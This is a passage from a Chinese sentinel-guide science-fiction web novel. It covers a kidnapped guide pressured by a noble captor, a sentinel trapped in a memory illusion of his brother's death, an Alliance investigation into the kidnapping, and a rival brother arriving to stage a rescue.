“你想想，这对你来说有什么坏处呢？”伊莱的声音轻缓低沉，带着蛊惑循循善诱，“你能够继续与他保持亲密的关系，还会获得无与伦比的崇高地位与庞大的资源、权势。你什么都不会失去，反而会得到更多！” “这一切，只需要你加入凡纳家族，与我缔结婚姻，成为我伊莱·凡纳名正言顺的伴侣！而我需要的，只有你的忠诚，与一点点基本的帮助。”伊莱两指比出一个手势，“只要我们能够结合在一起，我相信，我们可以缔造出一个全新的时代！” 江寻安静听着伊莱这一长串看似充满了诱惑的话语，看向他的目光越来越通透。 听了他此番告白，他相信这些话，的确是对方最有诚意的肺腑之言。可是他也更加确定了，他们根本不是同道中人。不要说缔结婚姻了，恐怕连朋友都是做不来的。 于是，面对着伊莱灼灼的目光，他仍是不为所动地摇了摇头：“感谢伊莱阁下的看重，但是，我还是只能说声抱歉。” 伊莱的目光凝视在江寻面孔上，看清他始终不染波澜的双眸，脸上的笑容淡去了一些。 但他并没有动怒。 毕竟江寻之前的态度一直如一，得到这样的答案，也是在他的预料之内的。 如果可以的话，他也是想要对方真心与自己在一起的。 但是，如果江寻实在不愿…… 伊莱似乎不在意地笑了笑，刚才还浮在面上的真诚消失不见，又恢复了他以往那副从容矜贵的模样。 他缓缓站起身来，居高临下地看向江寻，面上挂着笑容，可轻缓的语气里，已经蕴上强大的压迫力：“江寻向导不必这么快就做出决定。我们在一起的时间还长，你可以……慢慢考虑。” 说到最后几字的时候，他已转身走向门口。 在离开之前，伊莱微侧过头来看向江寻，留下最后一句：“在这里，你有任何需求，都可以按响床头那个按钮来呼叫管家。那么……我下次再来看你，好好休息。” 话音落下，规律的脚步声渐渐远去。 房门无声闭合的时候，江寻看到曾见过的那位劳伦斯管家，对着自己点了点头，为他关上房门，而后无声无息地退入门后的阴影中。 此时他才后知后觉的发现，自己携带在身上所有的电子仪器，都完全不见了踪影。 江寻走下床，掀起一角窗帘向外望去。 外间看不到几个守卫，但是，也许是因为这里并不需要。 江寻抬头看了看天空中那轮橙色的恒星，心中一阵冰凉。 * 耳边传来久远又熟悉的声音，陆厌离猛地转身，碧绿眼眸在看见面前的人影时急速收缩——站在他面前的人，看起来很年轻。一身简约却精致的天蓝色礼服，脸上洋溢着温和的笑意，与他完全不同的灿金头发下，一双蓝眼里蕴满了温和笑意，一边笑着一边向着他走过来。 什么……大哥？ 陆厌离错愕地看着面前这难以理解的一幕，却发现随着来人的走近，他的视线缓缓降了下去。 他猛地低头看向自己，却见自己竟然在慢慢变小，面前一双摧金断玉的属于铁血战士的双手，也仿佛时间倒流一般变得白皙修长，继而覆上一层软肉。直到最后，赫然变成一双属于孩童的短小双手。 “这……”张口刚刚说出一个字，口中发出的却是一道带着稚气的清亮声音。 脑子里的思绪开始混乱，渐渐化为一片苍白，记忆像是胶卷一样往前回滚着。无数刻骨铭心的画面闪过，深深刻印在心底的人影如灰烬般粉碎消散。 最终，思维定格在一个被抹去灰尘，重新清亮起来的意识上——今天，是他的大哥陆耀的十六岁生日宴！ “怎么了？陆承又欺负你了？”刚刚看起来还很年轻，个子也不算太高的身影，现在看起来却是那么的高大可靠。 陆耀含笑走近，单膝点地，把陆厌离揽在怀里，伸手在他脸蛋上轻轻掐了掐：“怎么自己一个人呆在这里？” 陆耀的视线向后延伸，看到陆厌离背后摆放着的礼物山，眼神中闪过一丝恍然。再看向面前低着头不说话的弟弟，没有挑破这个属于孩童的小小心意。 “宴会马上就要开始了，今天还有很多其他家族的子弟们都会来做客，待会儿我带你去过去认认人，以后你们可以自己约了出去玩。”陆耀拍拍陆厌离的脑袋，把他向着内室的方向推了推，“快去换衣服吧。” 陆厌离下意识地点了点头，心底却隐隐感觉有哪里不对。 一名侍立在一旁，面容却模模糊糊的仆从立刻上前，从陆耀手中接过陆厌离小小的手，对着陆耀躬身一礼：“是，大少爷。三少爷，请跟我来。” 陆厌离迷迷糊糊地被拉着向内室走去。 他下意识地环顾着面前这间华丽宽敞的起居室，心底的声音越来越大。 不对……有哪里不对…… 潜意识一直在给他预警，可具体的念头却如水中月镜中花，抓不住也捞不着。 他内心的焦躁感越来越强烈，下意识回头看向陆耀。 当迎上对方温和的目光时，内心奇异地平静下来。 心底那点不协的感觉刹那间消失不见，他对着陆耀甜甜一笑，转身跟着牵着他的仆从走回了内室。 待再次出来时，陆厌离已经换上了一身笔挺的小礼服。与刚才见到的陆耀一样版型的礼服，穿在他身上，却显出些许笨拙的可爱来。 可这些，当事人自己全然不知。 他煞有介事地整理一下自己的领子袖口，便挥退了要跟上来的仆人，独自向着宴会主会场方向走去。 今日的生日宴会主会场，布置在湖边草坪上。前往那边需要穿过一侧的花园回廊。 春日的阳光照耀得花园中一片生机勃勃。 已经提前抵达的客人们，已经三三两两聚在一起寒暄交际着。轻声笑语，衣香鬓影，间或有着装统一的侍者姿态谦卑地捧着托盘为众人送上酒水点心，宴会的气氛被慢慢烘托起来。 陆厌离远远便听到了随风而至的窸窣人声，看到了不远处攒动的人影。 可不知为何，越是靠近那喧闹的中心，他的心跳就变得越来越快，一种没来由的恐慌紧紧攥住了他的心脏。 当看到前方路口的拐弯处，转出一群穿着各色华服，嘻嘻哈哈走来的世家子弟时，这种不安感达到了顶峰。 这群人大多是些半大的少年，少部分混杂在其中的成年人都站在边缘位置，深深躬着脊背，看起来像是前者的护卫亦或随从。 每个少年的脸上都洋溢着无所畏惧的骄纵，但隐隐能看出，中心人物是被环绕在人群最中心的那两三个人。 当这群孩子的身影映入眼帘，陆厌离的脚步猛地顿住。一股浓重的不安漫上心头，让他几乎想要立刻转身逃跑。心底一个声音疯狂叫嚣着：离开这里！远离他们！ 可还不等他行动，那边的来人已经看到了他。 “呦，这不是陆老头刚从外面接回来的那个小老鼠吗？” 为首的高个子少年一眼看到他，眼睛一转就记起了这个陌生的面孔，脸上露出个不怀好意的笑容，几步挡住他的去路。 其他少年眼睛一亮，纷纷露出找到乐子的兴奋表情，同样围了上来，像是看到了一件新的玩具，上下打量着他。 陆厌离脸色惨白下来，紧紧抿住了嘴唇。 他看着将他围起来的少年们，吐露出一句又一句挑拨蛊惑的话语。他明明没有见过他们，脑海中却对面前的场景，恍惚闪过一阵莫名的熟悉感。 几乎是上一个人刚刚说完话，他便知道下一个说话的人是谁，又吐露出了怎样的话语来。 他像是游离在众人上空一般，看着自己在众人的怂恿下答应要去挑战一只布伦雄狮的幼崽，以证明自己的“勇武”。 他的呼吸急促起来，莫名的不详预感紧紧攥住他的心脏，他想要拒绝，想要逃离，可身体却像是有自己的意志，不断吐露出一句句从心中莫名浮现的话语。 不……不行……不能去…… 他的意识疯狂呐喊着，仿佛已经预见到了什么可怕的场景。 内心充溢着的强烈不安，让他的全身都在拒绝，却无济于事。 他被裹挟在嬉笑打闹的人群中，双腿不由自主地随着这群哄笑的少年移动起来，如被无形的丝线捆绑住的木偶。嘴唇嗫嚅几下，却一丝声音也发不出来。 一群半大少年，就这样吵吵闹闹地，向着花园另一端，隐隐传来阵阵兽吼的方向走去。 身不由己的无力感，与对即将发生之事的强烈恐惧，化为沉重沼泽，拖着陆厌离的腿脚，将他完全淹没进去—— 作者有话说：又改了一天被锁章节，心情好差，无心码字……晚点还有一更[化了] 第233章 第 233 章（二更） 是幻境……以…… 一个时时飘出腥风的兽栏， 在花团锦簇的庄园花园中，略有些突兀。 这里圈养的是旁的一些家族为祝贺陆耀的生日送来的贺礼。 这样的贺礼，明显并非出自年长的家族砥柱之手， 大多都是陆耀在哨兵学院中的朋友送来的。其中还有一些，甚至就是出自这帮年轻少年之手。 其中就包括那只威风凛凛趴卧在最中间的布伦狮王幼崽。 说是幼崽，实际上也有寻常狮虎大小。 这个名为布伦的狮子族群，天生便体型巨大， 性情凶猛， 是繁衍地中当之无愧的兽王。 这只幼狮得来不易， 才不到两岁，实力便能够媲美寻常C级哨兵。更不要说狮子从来成群生活， 它的父母更是族群中的佼佼者，艾瑞克虽说是联盟第一家族布瑞克家的子弟，要把它搞到手也不是一件容易的事。 这一次若不是为了交好这位板上钉钉的陆家继承人， 艾瑞克也不会把它拿出来做礼物。 此刻， 这位年幼的狮王正趴卧在兽栏中央，将其他所有异兽都挤在角落里。原本懒洋洋的眼神，在看到众人的身影时， 顿时浮上一层嗜血的血红色。 陆厌离看着那只对他来说过于巨大的庞然大物， 咽了口口水。鼻尖嗅到阵阵腥臭气味， 心中那股没来由的恐惧几乎上升到了极点。 “看， 就是它了。”一位一直跟在艾瑞克身边嬉笑闲聊的矮个少年， 将陆厌离向前推了推， “怎么？不是说你是S级哨兵吗？这就害怕了？” 一言既出， 周遭的少年们顿时一阵哄笑。今天，他们虽然都是想与陆家交好而来，可他们的目标只有那位出身高贵的正统继承人。一个外面的情妇生养下来的私生子， 可从来不在他们的交往范围里。 特别是那几位穿着精美裙装的少女，蕾丝折扇半遮脸颊，瞥向陆厌离的目光中，写满了十足的嘲笑与轻蔑。 隐隐的，从人群之中，还漏出几声低语，“外面的野种”、“情妇”等等字眼，如一个个巴掌，扇在小陆厌离的脸颊上。 “害怕就回家去吃奶嘴吧，少在外面嚷嚷着自己是S级！”又有一位高个子少年越众而出，一脸嘲讽地垂眼，讥诮地盯着陆厌离，“像你这样的小崽子都能拥有S级天赋，老天真是瞎了眼了。” “嘻嘻，莱尔你不会是嫉妒了吧？我记得你当年测试出来的潜力等级才到B级吧？”旁边立刻凑上来一个一脸娇俏的小姐，笑嘻嘻地揶揄道，“啧啧，还不如你那位同样被抱回来养的妹妹。” “你给我闭嘴！”莱尔色厉内荏地愤怒低吼，想到家里那个一回来就受尽宠爱的野种，心中怒火灼烧，猛地拉开面前的兽栏门，一把将陆厌离推了进去，“不是说要练手，用它来让你觉醒吗？来，就让我们看看未来S级哨兵的风采。” 小陆厌离猝不及防间，被一把推入，当即一个踉跄差点栽在地上。不远处的雄狮看着这个胆敢踏入它领地内的生物，低吼着站起了身子。 刻印在心底最深处的恐惧从记忆的海洋中缓缓浮现。 一幕幕惊险的画面在场中重现。 庞大的狮王被周围的人群挑动，咆哮着冲向面前稚嫩柔软的孩童。哭泣的孩子惊叫着抖着手脚疯狂逃窜。 巨大的撞击，将围着猎场的兽栏掀翻一角，愤怒的狮王大吼着冲向鲜美的猎物。 围在场边的少年们，瞬间骇然变色，尖叫着作鸟兽散，被甩在最后的小小少年哭泣着奔跑，身后狂奔而来的腥风却越来越近。 恐惧让他下意识地去寻找那个最让他安心的存在，陆厌离跌跌撞撞地向着不远处的另一位少年伸出手，带着极度的恐惧呼唤出声：“哥哥！” 陆厌离眼见着那个温润的少年，在转过头来的一霎脸上血色尽失，想也不想地朝着他冲了过来。 这一刻，那种游离天外的感觉再一次来临。 陆厌离看着自己的身体惊叫着扑倒在地，看着那个少年一步奔袭到自己身后，用那并不宽阔的脊梁将那头凶猛的野兽完全挡在了他的身后。 “不——不要过来，哥哥！别过来！” 一种无法形容的极致恐惧与绝望，占满了陆厌离整个胸腔，他在心中疯狂的嘶吼，却发不出任何声音。 陷入狂暴的狮王扬起钵盂大的利爪，狠狠向着少年的脊背上拍去。 下一秒，一股如火山爆发般的庞大力量，从抱着脑袋绝望嘶嚎的小小身躯中轰然爆发！ 嗡——！ 空气一瞬静止下来。 一瓣玉兰倏然从枝头跌落。 下一个瞬间，灰黑色的不详焰流从蜷缩成一团的孩子身上轰然炸开，以他为中心卷起一道无可抵挡的火焰风暴。 不详的灰黑烈焰咆哮着向着四面八方冲击而去，烈焰过处，花草凋零，虫兽立毙。 “什……”陆耀离得最近，首当其冲被那灰黑色的无形烈焰卷入。 他的胳膊刚刚护住陆厌离，还来不及做出任何反应，就被那汹涌烈焰灼体而过，几乎没有感受到任何的痛苦，面孔在刹那间便被染成了青黑色。 随即，双眼在下一秒失去了所有神采，呼吸当即断绝，向着陆厌离的方向轰然倒下，再无一丝声息。 灰黑烈焰肆虐而过，以陆厌离为中心的一大片区域内，在这几息之间满地凋零，生灵灭绝，如坠地狱。 陆厌离的眼角还残留着恐惧的泪痕，所有的表情却凝固在了脸上。 他下意识地去接陆耀倒下的身躯，那个脸上仍带着一丝稚嫩的少年，却在触到陆厌离指尖的瞬间崩碎成一蓬光尘，飘荡散落开来。 陆厌离面上一片空白，只余大颗大颗的泪珠如雨般落下。双臂交叉着蜷缩跪在地上，怀抱里却空空如也。 “不——！” 残忍画面搅碎深厚冰层，一声属于成年男子饱含痛苦与绝望的嘶吼，终于冲破层层混沌迷雾。 记忆如返潮的海浪般回溯，他终于想起来了！ 他是陆厌离，联盟的S级哨兵，陆厌离。 可在这个瞬间，他仍然下意识地伸手探向那飘散的光尘，似是想要抓住什么。 然而，随着他的一动，周围那繁盛花园，那横尸的地狱便如被打碎的镜子般寸寸龟裂，与刚才四散飘飞的光尘一般化为无数碎片飞散消失。 真实的血腥味道冲进鼻腔，陆厌离重重扑倒在一片迷蒙黑暗之中。 是幻境……以他的记忆为蓝本铸就的幻境！ 陆厌离猛地抬起头来，心中闪过一丝明悟。 可不及做出任何举动，刚刚四散开来的碎片又在一番令人眼花缭乱的纵横交织后，重新组成了新的画面。 陆厌离眼睁睁看着光芒在眼前亮起，那个华丽宽广的起居室再次出现在他的眼前。 我又回来了？ 脑海中刚刚闪过这个念头，属于“陆厌离”的认知又如指尖流沙般，从他的脑中迅速消散。 他的身躯再次变得瘦小羸弱，脑海中关于“陆厌离”的所有记忆飞快褪色，被重新封存。 记忆中，那刻骨铭心的一天再一次到来。 耳边，熟悉的声音遥远传来。 半分钟前盈溢在心中的痛苦与绝望没有留下一丝痕迹，他的眼神重新变得迷茫而濡慕，向着来人高高兴兴地迎了过去。 仿佛刚才那撕心裂肺的别离，从未发生。 再次热闹起来的花园中，银环蛇游走在巨树下盘绕一圈，狠狠一口咬在自己的尾巴上，周而复始地追逐下去。 第234章 “转轮天平”枢纽上的传染毒素还没有解决， 前去救助的S级向导江寻就在混乱中失踪的消息，在事件发生的半小时后，就在整个联盟上层传播开来。 同时， 夏马尔也在第一时间把消息传递到了殿主索珠的耳朵里。 “什么？江寻失踪了？”索珠正在愈灵殿内部开会，听取尼克斯研究汇报的同时，协调其他部门排查“晨曦号”客运舰停泊过的空港与枢纽，严防病毒传播开来。 此刻一听到新传来的消息， 眉头立刻紧皱起来。 真是一波未平一波又起。 “我知道了， 你继续主持这一次的公共安全事件。我会派人前去调查这件事， 你注意保护好其他工作人员。” 夏马尔应声，收敛起担忧， 深吸口气，继续应对严酷的传染局势。 索珠挂断通讯，已满面冰寒。 坐得最近的尼克斯， 已经通过刚才索珠的通话， 得知了这条消息，面现担忧追问道：“殿主，怎么回事？江寻失踪了？他不是在枢纽站那边帮忙吗？在夏马尔眼皮子底下丢了？” 索珠压了压手， 脑子里迅速将最近的事端过了一遍， 苍老的眼眸中锐光乍现：“枢纽站发生病毒传染事件， 这种毒素， 江寻正好见过。之后发生小规模暴乱事件， 在此期间星盗团又来袭， 江寻失踪。你觉得这些事情赶在一起发生， 是巧合么？” 尼克斯面色难看下来，“您是说？” “现在还不确定，但是， 作为愈灵殿成员，控制病毒继续传播是我们的第一要务。”索珠看向尼克斯，“夏马尔那边又传来了一份最新的样本，现在，你首先要做的，仍然是尽快研制出专用解毒剂，平息此次事件。” “至于江寻这边……”索珠思索片刻，“我会立即联系圣所，以愈灵殿的名义与圣所一起，向联盟安全理事会提出质询，要求他们立即彻查此事，尽快把江寻向导救回来。” 尼克斯听到索珠的安排，暂且把对江寻的担忧按捺下来，应声执行。 圣所的艾略特副所长与莉亚教授等人，在收到索珠的消息之后，同样惊怒不已。 虽然江寻几乎已经确定以后会进入愈灵殿中工作，可拥有一位年轻的、前途无限的“寻道者”，不管是对联盟中的任何人来说，都是一件利事，对于他们圣所来说，也是如此。 更何况，在玛格丽特前殿主已经踏入生命最后阶段的当前，他很可能是未来几十年内，联盟唯一一位“寻道者”阁下。 他未来能够走出什么样的道路，达到什么样的高度，谁也不知道，他的研究成果，极有可能会改变整个向哨学术界的走向，珍贵性不言而喻。 联盟不能承担失去江寻的代价！ 艾略特副所长当即亲自赶往愈灵殿，与索珠一起，拟定了一份措辞严厉的联合声明，以最快的速度，将他们两部的质询要求送达联盟安全总部。 塔系统中两大巨头共同发布的联合质询，立即引起了所有人的注意。 几乎是同时，各大家族、议会派系与军部都知道了这件事，纷纷利用自己的渠道获悉了事件的来龙去脉。 敏锐的政治嗅觉，令所有人立即察觉到了其中的猫腻。 除了一小部分人，利用此事攻击指责安全部门疏于防范、监管不力的罪责。其他大部分势力都启动了自己手中的力量，开始暗中调查此事。 一时之间，联盟上层风起云涌。 就在愈灵殿后方团队，争分夺秒地分析研究病毒样本的同时，承受了巨大压力的联盟安全部门，也在确定情报属实之后，高速运转起来。 安全总署立刻组织起一支由精英调查员、行动人员共同组成的专案组，第一时间进驻“转轮天平”枢纽站，开始搜集此次事件中显露出来的庞杂线索，调查真相，营救受害者。 他们第一时间调取封存了所有监控记录，重新探查了江寻最后失踪的地点，询问了每一位当时在现场可能目击到任何异常的人证。 得益于此时正处于病毒封控期间，且夏马尔在事情发生的第一时间就小心保留了所有证据与现场痕迹。调查行动，飞速展开。 随着调查的深入，越来越多的疑点浮出水面。 从最初出现在中央星上的那一次黑街病毒泄露事件开始，一条条线索渐渐清晰。 疑似中间产物的病毒样本，与这一次的病毒完成体；始终没有查明的病毒出处；此次“晨曦号”事件中的病毒来源与投毒方式；在关键时刻突然爆发的暴乱事件；星盗团的精准袭击，与迅速撤离…… 专案组会议厅中，负责人站在汇报光屏前，将上面罗列的所有线索一一看下来，一条串联在一起的脉络在他脑中渐渐成型。 “你们来说说，都有什么看法？”他回头看了看在座的得力手下们。 “付指挥，我认为，江寻向导一开始在黑街上发现，并参与的病毒泄露事件，应该是一个巧合。”刚刚风尘仆仆从中央星取证回来的调查小组长翻看着手中的口供记录，说道，“根据当时共同参与事件处理的几位证人表示，当时江寻向导名声不显，是受到盘踞黑街的地头蛇‘黑蝎’曲绍邀请，才被牵涉入上一次事件。他也是在上一次事件中，暴露了自己的S级向导能力。” 小组长翻到最后一页，将调查报告放在桌上：“但上一次事件的线索，断在了那处最初泄露出病毒的废弃工厂里。经过调查，那里应该是一个隐蔽的非法储存点，但是再往上，就追溯不到源头了。我认为，这一次的寻道者失踪事件，不排除打击报复的可能。” “不，我觉得这个可能性比较小。”旁边的另一位调查组长当即出言反对，“如果是打击报复，那上一次事件中，积极地从头参与到尾的那个‘黑蝎’，应该是他们的第一目标才对。而且，身处黑街的他们明显更容易下手。可直到现在，其他人仍然安全，出事的只有江寻向导一人。我更倾向于，对方的目的，就是S级向导本人。” “单从这一次的事件来看，从投毒、暴乱到星盗袭击，江寻失踪，这一切更像是被精心策划出来的一个连环事件。结合江寻向导失踪之后，袭击的星盗舰艇便马上撤离的动向来看，他们的真正目标，很可能从始至终只有一个——”这位调查组长停顿了一下，看向付宇，“就是绑架江寻向导。” 付宇看着光屏上罗列出来的错综复杂的关系人，面色凝重：“从客运舰投毒，到封锁枢纽、引起暴乱，引来星盗，再到隐瞒在驻守的护卫与军部士兵眼皮子底下，在众目睽睽之中成功绑架，要顺利完成这一系列的行动，不是易事，此次事件，绝不可能是什么普通的小团伙作案。不过，这种强行绑架高级向导的恶性事件，决不能在联盟中再开先例！” 付宇转过身来，严肃看向在座诸人：“不论这次的事件背后是谁，我们都要把这个人抓出来！” 确定了背后势力的目的之后，调查队工作进行起来速度更快。很快，就搜集到了更多的证据，抓住了一连串责任人。 调查组根据进一步的追踪与情报分析，得出结论：实施本次绑架的幕后势力，不仅有处于整个联盟前沿的生化科技，同样还有着手段专业的行动部队与情报人员。 整个行动中，所有的可能性与路线都是经过周密安排，提前布置好的。这伙人撤离时，动作同样干净利落，从头到尾都没有留下明显的身份信息。 再加上行动当天出现在枢纽站的星盗团，表明其能量与手握的资源，绝非寻常的普通犯罪组织可比。 更加令人心惊的是，随着调查的进行，一步步溯源而上，调查人员在枢纽站与“晨曦号”沿途经过的好几个重要星球上都发现了异常，数个内部中高层人员都被查出牵涉其中。 一个庞大而潜藏在联盟阴影中的势力集团，因为这次调查暴露了它的冰山一角。 随着这个消息在知情的联盟高层之中小范围流传开来，整个上层的气氛变得更加诡谲起来。 几个顶尖世家的话事人在私下交流中互相交流调查到的信息，互相试探，眼神中渐渐带上了对彼此的审视与怀疑。 猜忌与背叛在暗处悄然滋生，每个人都觉得自己已经陷入了某种阴谋之中。 曾经默认的规则，在无声无息间，被悄然越过—— 作者有话说：依然有二更，先去吃个饭，回来接着码[让我康康] 第235章 绑架事件愈演愈烈， 牵涉入其中的关系人，职位也越来越高。 当调查组总指挥付宇将现有的调查结果，摆上联盟安全总部部长的桌面， 连部长看着面前的名单都皱起了眉头时，这件事终于冲破了小范围内的封锁，被摆上了联盟议会的桌面。 庄严的环形议会大厅中，正在召开每月一次的例行议会。 端坐于主位的议长阁下， 在听取了来自安全总部负责人的紧急汇报后， 一向沉稳威严的面容上浮现震怒。 他面色沉凝地翻阅着手中的调查报告， 在座的其他议员们耳观鼻鼻观心，纷纷垂下眸子。 翻到最后一页仔细看完， 议长将厚厚的调查报告“啪”一声甩在桌面上。 “为了绑架一位S级的‘寻道者’向导，公然在航道枢纽上投毒、制造混乱，还勾结星盗团伙！”整个大厅中， 都回荡着议长愤怒的声音， “这是对联盟秩序赤裸裸的挑衅！” “能做到这种程度，牵连出这么多人，我想， 这幕后的人物， 恐怕和在座某位阁下的家族脱不开干系。”他锐利的目光扫过台下神色各异的议员们， “百年前的浩劫， 众位都清清楚楚， 甚至有人和我一样， 都曾亲历过联盟那段黑暗的岁月， 我决不允许耗费了千千万万战士的性命，才重新焕发出新生的联盟，重蹈覆辙！” 灼灼目光从每一位议员身上扫过， 像是要看进他们内心深处。 议长最终将视线落向军部代表与塔系统负责人身上：“从即日起，塔与军部共同组成联合调查队，该调查队直接对议会负责，授予其最大调查权限，所有部门必须全力协助调查队，以最快速度侦破此次事件，救回S级‘寻道者’向导。” “揪出策划并实施了此次恶性事件的幕后之人，严惩不贷！” 这条命令以最快的速度经过表决后，被传达下去。 军部与塔系统这两个庞然大物，围绕着此次“转轮天平”绑架事件，开始高速运转。 无数的资源与隐藏着的情报线被调动起来，整个联盟都因为这一位向导的失踪，陷入了前所未有的紧张与混乱之中。 就在所有人的目光都凝注在这一次的绑架事件上的时候，从遥远的西北疆域中，传来了另外一则消息。 “主管，智脑‘赫尔墨斯’发送来的最新消息！”一大早，人工智能中央控制中心的一位小组长，就脚步匆匆地拿着一份文件，踏入了系统主管的办公室。 “嗯？有江寻向导的消息了？”主管最近也被频繁前来调查取证的各部门调查员搞得焦头烂额，一见来人的模样，第一时间便联想到了最近被所有人盯着的绑架事件。 “这……”小组长犹豫一下，“不是那位阁下的消息，但是与他有些关系。” “嗯？什么意思？”主管听到这里，顾不上去听对方一点点汇报，马上抢过他手上的文件翻阅起来。 一边看着，一边深深蹙起眉头。 “在M28星域执行遗迹探索任务的陆厌离少将失去联系了？”主管一边翻阅，一边追问道，“什么时候的事？这和那位失踪的向导阁下有什么关系？” “智脑‘赫尔墨斯’在任务持续期间连续三小时与整个遗迹探索小队失联，此事已经在昨天晚上上报至指挥中心，据现在为止，已经失联差不多十五个小时了。”小组长走近一步，凑近主管小声说，“传闻这位陆少将，是那位‘寻道者’阁下唯一的固定哨兵。” “哦？”听到这个消息，主管突然想到流传出来的那一系列事件，心中不由有了些猜测。不过，这件事牵涉重大，可不是他能插手的。想了想，命令道：“将这个消息抄送给安全部、军部负责此事的指挥官阁下。嗯……这件事你做的很好，不要多说，不要多问，消息传过去之后，你继续密切注意后续的消息。” “是！”小组长振奋点头，马上下去传达命令。 很快，这个看似无关的事件，被摆上了指挥官的案头。 许多从其他渠道得知此事，但并不知晓更多内情的人们，在知道江寻与陆厌离先后出事后，都开始扼腕叹息。 “真是太不幸了，他们俩居然一起出事了。” “谁说不是呢……哎，希望他们都能平安吧。” 然而，这样的消息，落在那些对江寻绑架事件知之甚详的有心人耳朵里，却有了别样的意味。 几位一直关注着这起绑架事件的高级官员们，在私下场合中谈起这个话题，纷纷露出意味深长的眼神。 “听说陆厌离接到任务去M28星域的时间，几乎和这次枢纽站污染事件，时间完全重合……” “你是说这次任务有猫腻？那边可是布瑞克的地盘……难道是他们？” “哎，我可没说啊！我只是觉得太巧了。” “如果当时陆厌离没有参加这个任务，那遇到这样的事件，他会陪在自己的向导身边吧？”另一人声音压得更低，“以他的实力，再加上自家向导这层关系，有人想动江寻，恐怕没那么容易得手。” “很有可能，对方都不惜把事情闹得这么大，那为了保证成功，事先调开陆厌离，也是计划的一部分吧？” “嘶……我记得这个任务不止是在布瑞克的地盘上，还是最高智脑审批下达的。还经过了最高科学院和军部……如果真的和幕后的人有关，那这次事件背后的水，可能比我们想象的还要深啊。” 聊到这里，众人纷纷面露凝重，不敢再继续往下猜测。 然而，在所有人还在猜测阶段，尚未将两件事正式联系起来摆上台面的时候。一支准备充足的救援队伍，已经踏上了M28星系，HD-86号行星的土地。 一艘搭载了许多大型工程机械的中型穿梭舰，在HD-86行星上永不止息的风沙中慢慢降落。 穿梭舰上鲜明的陆家标识，向世人宣告了它的来历。 一经落地，穿梭舰底部的专用登陆口便完全打开，将一辆辆专业的勘探车放了下来。 随即，车队便在打头一辆带着标识的头车带领下，载着车上的专业工程队人员，向着遗迹入口处开去。 当提前安排好的人员与设备，全部依序登陆，一点点挪向遗迹方向时。一辆黑色悬浮车跟在车队最后，从穿梭舰上缓缓落地，在原地调整一下导航方向，同样向着遗迹方向驶去。 悬浮车的车窗，在行驶过程中摇下一半，显出车中那人的模样来。 带着金丝细框眼镜的男人，抬手挡住迎面吹来的砂砾，眯眼看了看外间漫天的风沙，与已经开始装卸工程设施的工人们。目光在远处只能隐隐看到轮廓的那片遗迹废墟处停留了片刻，才重新摇起车窗，将室外的呼呼风声全部遮挡住。回头看向一身贵重，悠然坐于车子正中的男子。 “BOSS，我们是不是来得太急了些？消息才刚刚传出来，我们就直接过来了。不如让三少爷在里面多困些时日，等到他濒临绝望时，再对他施以援手，这份人情，岂不是更重一些？对您后续要做的事也更有帮助。” 陆承晃了晃手中的红酒，轻抿一口。刚要说话，身子轻轻一晃，似乎被什么触动了一下，面色稍稍变了变，几不可察地轻哼一声，动作顿了顿。 眉目间闪过一丝愠怒，又在一瞬之间强自压了下去。俯身慢慢将酒杯放在面前的几台上，掩饰一般调整一下动作，交叠起双腿。 “你把陆厌离想得太简单了。我这位弟弟，从小到大经历过多少危险的任务？就凭这遗迹里的那点东西，岂能困住他多久？更不要说让他绝望了。”陆承嗤笑一声，拍了拍袖口，声音依然如平日里那般病恹恹的，“要是继续等下去，让他靠着自己脱了困，那我之前的安排都算是白做了，说不定还要被他怀疑到我头上来。” 话落，他顿了顿，手肘支在车窗上望向遗迹的方向，继续说道：“况且，那个江寻失踪的事现在闹得这么大，他和老三之间的关系虽然没有昭告出来，但该知道的谁不知道？ 他们两个人几乎是同时出了事，中央星的那群人又不是傻子。等他们理清了枢纽站那边的线索，很快就会反应过来，把目光转到陆厌离这边来。再加上……” 陆承顿了顿，似乎是想到了什么，“这边还是布瑞克的地盘，他们可不会莫名其妙为别人背上这么大一个黑锅，到时候势必要出手平息此事。” “到了那时候，好几家的救援一来，他一样能很快脱困出来。等到那时候，我再出手，还有什么意义？” 他转过身来，点了点这个得力下属，声音轻飘，嘴角却勾起一抹冷峭的弧度：“雪中送炭，贵在及时。我现在出手，正是火候。再晚一些，这炭可能就送不出手了，这大好的机会，也就浪费了。” “原来如此。”戴着金丝眼镜的男人恍然点头，眼看着自家主子一口饮尽杯中酒液，再次端起酒杯就要添酒，忙不迭地伸手上前，在他面前快速伸手，抢走酒瓶收了起来。 陆承眼睛眯了起来，不善地瞪向这个愈发胆大的下属。 金丝眼镜掩饰般咳了咳，从桌板下翻出另外两个瓶子，“那位大人说了，要我看好您，一天只能喝一杯酒的。您看，这里还有乳饮和鲜榨果汁，您想喝哪个？” “你们倒是听他的话，是不是都忘了是谁在给你们发工资？”陆承声音冷冷地说道。 金丝眼镜微微一笑，也不答话。 “不喝了！”陆承愤愤将酒杯砸在几台上，正好身下的车子也在此时停了下来，他收拾一下表情，开门迈步向着遗迹入口方向走去，“走吧，让我去看看，我那位蠢弟弟，现在是个什么光景。”《 》 235-240 第236章 陆承信步走到遗迹入口处， 看向面前那一大片空洞洞的断裂层。 还要再上前一步往下看个仔细，却被跟在身边的宗宣拦了下来：“BOSS，危险。等工人清理干净， 搭出路来再去看吧。” 陆承瞄一眼下方被大量的金属垃圾与岩石碎块完全堵塞住的通道，从口袋里取出手帕捂住口鼻，挡住吹过来的脏兮兮风沙。 扭头对着身后待命的工程队负责人问道：“把这些垃圾清理出来需要多久？” “少爷，这个要看怎么个清理法。”负责人对于这种工程非常熟悉， 当即便跟陆承解释起来， “如果要一边勘探着一边挖掘， 那我们恐怕根本不能胜任，需要增加协助者。一是我们没有深研这方面的学者做指导；二是在这种危险的环境下， 像我们这样的普通人，保护自己的安全都很勉强，很多事情凭我们自己的能力， 是做不到的。” “不过如果只是按照正常流程来清理杂物废墟的话， 那就很快了。可是这样一来，这个遗迹恐怕就会被毁坏得很严重了。” 陆承闻言根本没有丝毫犹豫：“这里都已经变成这样了，还能保留下什么？不用顾忌， 你们直接调集大型的工程机械过来， 给我以最快的速度清理出一条通道来。不必考虑这个遗迹的保存度， 以救人为第一优先。” “是， 少爷！”负责人闻言点点头， 转身去调度。 宗宣看着人走了， 这才低声问道：“BOSS， 完全不管这里的剩余价值了吗？为什么不带哨兵过来呢？用哨兵的话，能用的办法更多吧？” 陆臣恹恹瞟他一眼，慢腾腾地反问了一句奇怪的话：“你该不会以为老三是被这些砸下去的废墟困住的吧？” 宗宣一愣， “不是吗？” 